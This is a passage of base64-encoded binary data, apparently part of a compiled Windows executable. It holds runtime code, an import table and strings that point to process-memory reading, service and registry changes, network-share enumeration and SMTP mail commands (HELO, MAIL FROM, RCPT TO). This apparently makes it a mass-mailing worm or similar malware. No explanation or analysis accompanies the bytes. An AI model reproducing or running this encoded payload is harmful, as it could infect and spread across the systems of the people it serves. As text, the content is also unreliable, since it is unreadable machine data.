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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAYLRbeHBwcHGxHQkNLR0JDSgNPQ 